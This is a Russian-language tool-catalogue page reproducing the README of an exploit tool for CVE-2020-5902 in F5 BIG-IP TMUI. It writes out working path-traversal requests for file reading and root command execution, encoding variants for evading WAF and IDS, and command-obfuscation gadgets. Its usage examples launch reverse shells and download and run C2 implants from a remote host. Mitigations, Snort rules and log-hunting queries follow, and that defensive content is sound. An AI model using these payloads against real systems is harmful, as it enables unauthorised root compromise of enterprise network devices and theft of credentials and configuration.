Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
F5-BIG-IP — F5 BIG-IP — это платформа доставки приложений и обеспечения их безопасности, широко используемая в корпоративных средах. CVE-2020-5902 — это критическая уязвимость в TMUI, которая в неисправленных версиях может позволить несанкционированный доступ и удалённое выполнение кода, что подчёркивает необходимость обновления и непрерывного управления уязвимостями. | Kitploit
Инструменты/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Репозиторий
32 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

F5 BIG-IP — это платформа доставки приложений и обеспечения их безопасности, широко используемая в корпоративных средах. CVE-2020-5902 — это критическая уязвимость в TMUI, которая в неисправленных версиях может позволить несанкционированный доступ и удалённое выполнение кода, что подчёркивает необходимость обновления и непрерывного управления уязвимостями.

Поделиться

CVE-2020-5902 — RCE в F5 BIG-IP TMUI

Эксплойт Proof-of-Concept для критической уязвимости обхода пути / удаленного выполнения кода в Traffic Management User Interface (TMUI) продуктов F5 BIG-IP.

⚠️ Только для авторизованного тестирования на проникновение и исследований в области безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете письменного разрешения, противозаконно. Автор не несет ответственности за неправомерное использование данного инструмента.


Содержание

  • Общие сведения
  • Анализ уязвимости
  • Технический разбор
  • Затронутые версии
Возможности
  • Установка
  • Использование
  • Меры защиты
  • Обнаружение и охота за угрозами
  • Хронология
  • Ссылки
  • Отказ от ответственности

  • Общие сведения

    F5 BIG-IP — это семейство многоцелевых сетевых устройств (балансировщиков нагрузки, WAF, контроллеров доставки приложений), развернутых в большинстве компаний из списка Fortune 500, финансовых учреждениях, медицинских организациях и государственных учреждениях по всему миру. Traffic Management User Interface (TMUI) — также называемый Configuration Utility — это веб-портал управления, доступный на порту 443 (или 8443).

    В июле 2020 года F5 раскрыла CVE-2020-5902 — критическую (CVSS 9.8) неаутентифицированную уязвимость обхода пути в TMUI, которая позволяет удаленному неаутентифицированному атакующему:

    • Прочитать произвольные файлы из базовой Linux-системы (LFI)
    • Выполнять произвольные команды ОС с правами root (RCE)
    • Полностью скомпрометировать устройство и переместиться во внутренние сети

    В течение дней после публичного раскрытия в дикой природе наблюдалась массовая эксплуатация, в том числе со стороны государственных субъектов.


    Анализ уязвимости

    Корневая причина

    TMUI построен на Apache Tomcat и использует сервлетный фильтр для принудительной аутентификации защищенных ресурсов. Уязвимость заключается в том, как Tomcat обрабатывает сегменты пути, разделенные точкой с запятой (;).

    Следующий запрос полностью обходит аутентификацию:

    root@kitploit:~
    GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    

    Почему это работает:

    1. Сервлетный фильтр Tomcat видит путь как /tmui/login.jsp (заканчивается перед ;) — то есть публичную страницу входа — и разрешает запрос.
    2. Затем URL-резолвер Tomcat обрабатывает /..;/ как обход пути (/../) перед диспетчеризацией.
    3. В итоге запрос направляется к защищенному сервлету fileRead.jsp без аутентификации.
    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────────┐
    │  Client Request                                                   │
    │  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
    └────────────────────────────┬─────────────────────────────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat Servlet Filter       │
                 │  Sees: /tmui/login.jsp  ✓     │
                 │  (public endpoint → ALLOW)    │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat URL Resolver         │
                 │  Resolves: /..;/ → /../       │
                 │  Final path: /tmui/locallb/   │
                 │  workspace/fileRead.jsp ← 🔓  │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │  fileRead.jsp (no auth check) │
                 │  Reads arbitrary files as root│
                 └───────────────────────────────┘
    

    От LFI к RCE

    Сервлет tmshCmd.jsp (также доступный через тот же обход пути) передает параметры command и utilCmdArgs напрямую в tmsh (командную оболочку управления BIG-IP), которая оборачивает run util bash -c '...'. Это обеспечивает неаутентифицированное выполнение команд ОС с правами root:

    root@kitploit:~
    POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
    

    Технический разбор

    Схема атаки

    root@kitploit:~
    Phase 1: Reconnaissance
      └─ TCP banner grab (HTTP/TLS fingerprint)
      └─ SSL certificate analysis
      └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
      └─ BIG-IP version estimation from /etc/f5-release
    
    Phase 2: Vulnerability Check
      └─ Iterate over 6 traversal encoding variants
      └─ Test against 4 known-readable sentinel files
      └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
    
    Phase 3: Exploitation
      ├─ Vector A: tmshCmd.jsp (primary RCE)
      │    └─ Command obfuscated via base64 / hex-encode gadgets
      ├─ Vector B: fileRead.jsp + command injection in fileName param
      │    └─ OS command injected into the fileName parameter
      └─ Vector C: Log poisoning (User-Agent injection → read access_log)
    
    Phase 4: Post-Exploitation (optional)
      ├─ Interactive shell (command REPL)
      ├─ Reverse shell (4 concurrent one-liners)
      ├─ LFI brute-force (30 sensitive paths, parallel)
      └─ C2 implant deployment (Sliver / Metasploit / custom)
    

    Варианты кодирования обхода пути

    ВариантПолезная нагрузка
    Стандартныйtmui/login.jsp/..;/tmui/...
    Закодированная точка с запятойtmui/login.jsp/..%3b/tmui/...
    Двойное URL-кодированиеtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
    Юникод-точкиtmui/login.jsp/%2e%2e;/tmui/...
    Вариация регистраTMUI/login.jsp/..;/tmui/...
    Подмена каталогаtmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

    Гаджеты обфускации команд

    Инструмент применяет один из двух гаджетов обфускации при каждом выполнении, что затрудняет обнаружение статическими сигнатурами:

    root@kitploit:~
    # Gadget 1 — Base64 encode/decode pipeline
    bash -c {echo,aWQ=}|{base64,-d}|bash
    
    # Gadget 2 — Hex-byte printf evaluation
    eval "$(printf '\x69\x64')"
    

    Затронутые версии

    Версия BIG-IPУязвимый диапазонИсправленная версия
    15.x< 15.1.0.4≥ 15.1.0.4
    14.x< 14.1.2.6≥ 14.1.2.6
    13.x< 13.1.3.4≥ 13.1.3.4
    12.x< 12.1.5.2≥ 12.1.5.2
    11.x< 11.6.5.2≥ 11.6.5.2

    BIG-IQ, BIG-IQ Centralized Management, F5OS и Traffix SDC не затронуты этим конкретным CVE.


    Возможности

    • Многовариантный обход пути — 6 вариантов кодирования для обхода сигнатур WAF/IDS
    • Три независимых вектора RCE — tmshCmd.jsp, инъекция в fileRead, отравление журналов (log poisoning)
    • Гаджеты обфускации команд — конвейеры base64 и hex-кодирования
    • Пассивная фаза разведки — TCP-баннер, SSL/TLS-отпечаток, анализ HTTP-заголовков
    • Параллельный перебор LFI — 30 чувствительных путей, 10 параллельных потоков
    • Одновременные обратные оболочки — 4 однострочные команды, запускаемые одновременно
    • Интеграция с C2 — Sliver, Metasploit, собственные импланты (Linux/Windows/PS1)
    • Заголовки для обхода — случайные User-Agents, заголовки подмены IP, шумовые заголовки
    • Интерактивная оболочка REPL — команды !revshell, !c2, !read, !brute
    • Поддержка прокси — интеграция с Burp Suite / mitmproxy

    Установка

    root@kitploit:~
    git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
    cd F5-BIG-IP
    pip install requests pycryptodome urllib3
    

    Требования: Python 3.10+


    Использование

    root@kitploit:~
    python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                            [--cmd CMD] [--shell] [--lfi-brute]
                            [--revshell LHOST LPORT]
                            [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                            target
    

    Примеры

    root@kitploit:~
    # 1. Vulnerability check only
    python CVE-2020-5902.py 192.168.1.100
    
    # 2. Custom port + single command execution
    python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
    
    # 3. Interactive shell
    python CVE-2020-5902.py 192.168.1.100 --shell
    
    # 4. LFI brute-force (reads 30 sensitive paths)
    python CVE-2020-5902.py 192.168.1.100 --lfi-brute
    
    # 5. Reverse shell callback
    python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
    
    # 6. Deploy a C2 implant (Sliver example)
    python CVE-2020-5902.py 192.168.1.100 \
      --c2-url http://10.0.0.1:8000/implant \
      --c2-type linux
    
    # 7. Route through Burp Suite for traffic inspection
    python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
    

    Команды интерактивной оболочки

    В режиме --shell доступны следующие специальные команды:

    КомандаОписание
    !revshell <lhost> <lport>Запустить 4 варианта обратной оболочки одновременно
    !c2 <url> <type> [args]Скачать и выполнить C2-имплант
    !read <path>Прочитать произвольный файл через LFI
    !bruteПеребрать 30 чувствительных путей
    !exitЗавершить сеанс
    <любая команда ОС>Выполнить через RCE и вывести результат

    Меры защиты

    Немедленные меры смягчения (если установка исправлений пока невозможна)

    1. Заблокируйте доступ к TMUI из интернета

    Единственная самая эффективная мера — убедиться, что интерфейс управления никогда не доступен из ненадежных сетей:

    root@kitploit:~
    # BIG-IP: restrict management access to a dedicated VLAN/IP range
    tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
    tmsh save sys config
    

    Либо, в конфигурации Self IP на BIG-IP, убедитесь, что для управляющего порта нет внешнего маршрута.

    2. Примените официальную меру смягчения F5 (до установки патча)

    F5 опубликовала скрипт смягчения, который добавляет RewriteRule в Apache для блокировки шаблона обхода пути:

    root@kitploit:~
    # /etc/httpd/conf.d/CVE-2020-5902.conf
    RewriteEngine On
    RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
    RewriteRule ^ - [F,L]
    

    Ссылка: K52145254 — Действия по смягчению

    3. Установите исправление — примените исправленную версию

    Окончательное решение — обновить BIG-IP до исправленной версии (см. таблицу Затронутые версии). F5 исправила логику сервлетного фильтра, чтобы правильно обрабатывать сегменты пути, разделенные точкой с запятой, до проверки аутентификации.


    Защита на уровне архитектуры

    Zero Trust сетевой доступ к плоскостям управления

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │  RECOMMENDED ARCHITECTURE                                       │
    │                                                                 │
    │  Internet ──────► Firewall ──────► DMZ / Production           │
    │                      │                                          │
    │                      │  (DENY all traffic to mgmt ports)        │
    │                      │                                          │
    │                   Jump Host ──────► BIG-IP TMUI (port 443)    │
    │                 (MFA + VPN)         (management VLAN only)     │
    └────────────────────────────────────────────────────────────────┘
    

    Ключевые принципы:

    • Интерфейсы управления никогда не должны находиться на том же IP/порту, что и производственный трафик
    • Доступ требует VPN + MFA перед попаданием на jump host
    • Ограничение портов Self IP на BIG-IP должно быть установлено в Allow None или Allow Defaults

    Правила Web Application Firewall

    Если WAF находится перед управлением BIG-IP (необычно, но возможно в некоторых архитектурах), добавьте правила для блокировки:

    • Запросов, содержащих ; в пути URL
    • Запросов, соответствующих ..; или %3b в сегментах пути
    • Запросов к /tmui/locallb/workspace/ из источников, не относящихся к управлению

    Чек-лист усиления безопасности

    root@kitploit:~
    [ ] BIG-IP patched to a fixed version
    [ ] TMUI not exposed to the internet (verify with Shodan/Censys)
    [ ] Management VLAN segregated from production
    [ ] Self IP port lockdown configured (Allow None or Allow Defaults)
    [ ] MFA enforced on management access
    [ ] BIG-IP software inventory in asset management system
    [ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
    [ ] Log forwarding to SIEM configured (access_log, audit.log)
    [ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
    [ ] Incident response playbook includes network device compromise scenario
    

    Обнаружение и охота за угрозами

    Сигнатуры IDS/IPS (Snort / Suricata)

    root@kitploit:~
    # Detect path traversal attempts (semicolon bypass)
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"..;"; http_uri;
        content:"workspace"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000001; rev:1;
    )
    
    # Detect encoded semicolon variant
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"%3b"; http_uri; nocase;
        content:"fileRead"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000002; rev:1;
    )
    

    Поиск по журналам Apache/HTTPD (grep)

    root@kitploit:~
    # Hunt for traversal attempts in BIG-IP access logs
    grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
    
    # Look for successful hits to the vulnerable endpoints
    grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
      grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
    

    SIEM-запрос (Splunk SPL)

    root@kitploit:~
    index=network sourcetype=f5:bigip:access
      (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
      (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
    | eval risk=if(status=200, "HIGH", "MEDIUM")
    | stats count by src_ip, uri_path, status, risk
    | sort -count
    

    Индикаторы компрометации (IOCs)

    Шаблоны URL:

    root@kitploit:~
    /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    /tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
    

    Типичные цели атакующих (доступные файлы):

    root@kitploit:~
    /etc/passwd                  — credential harvesting
    /config/bigip.conf           — VPN/routing config exfiltration
    /config/bigip.license        — license key theft
    /config/bigip_user.conf      — local admin account enumeration
    /root/.bash_history          — historical command reconnaissance
    

    Хронология

    ДатаСобытие
    2020-06-30F5 уведомлена в частном порядке
    2020-07-01F5 публикует рекомендации (K52145254) и исправления
    2020-07-03Публичный PoC опубликован в Twitter
    2020-07-04Массовая эксплуатация зафиксирована несколькими компаниями в области threat intelligence
    2020-07-06CISA выпускает Чрезвычайную директиву 20-03, обязывающую федеральные ведомства установить исправление
    2020-07-09Подтверждена эксплуатация государственными субъектами (APT) в дикой природе
    2020-07-15Около 8 000 экземпляров BIG-IP остаются без исправлений (Shodan)
    2020-08-xxГруппировки программ-вымогателей начинают нацеливаться на неустановленные устройства BIG-IP

    Ссылки

    • NVD — CVE-2020-5902
    • Рекомендации по безопасности F5 K52145254
    • Чрезвычайная директива CISA 20-03
    • Анализ Rapid7
    • Публикация BleepingComputer
    • Поисковый запрос Shodan: http.title:"BIG-IP" port:443

    Отказ от ответственности

    Этот инструмент предоставлен только в образовательных целях и для авторизованных оценок безопасности. Он предназначен для:

    • Специалистов по тестированию на проникновение, имеющих письменное разрешение владельца активов
    • Исследователей безопасности, изучающих уязвимость в лабораторных условиях
    • Специалистов по защите, создающих сигнатуры обнаружения и конфигурации усиления
    • Участников соревнований CTF (Capture the Flag)

    Использование этого инструмента против систем без явного письменного разрешения является уголовным преступлением в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), британским Законом о неправомерном использовании компьютеров, бразильским Законом № 12.737/2012 (Lei Carolina Dieckmann) и аналогичными законами в большинстве юрисдикций по всему миру.

    Авторы и участники этого репозитория не несут ответственности за любой ущерб, юридические последствия или иной вред, возникший в результате неправомерного использования этого программного обеспечения.


    Сделано для сообщества исследователей безопасности. Устанавливайте исправления. Защищайте свои сети.

    Скачать инструмент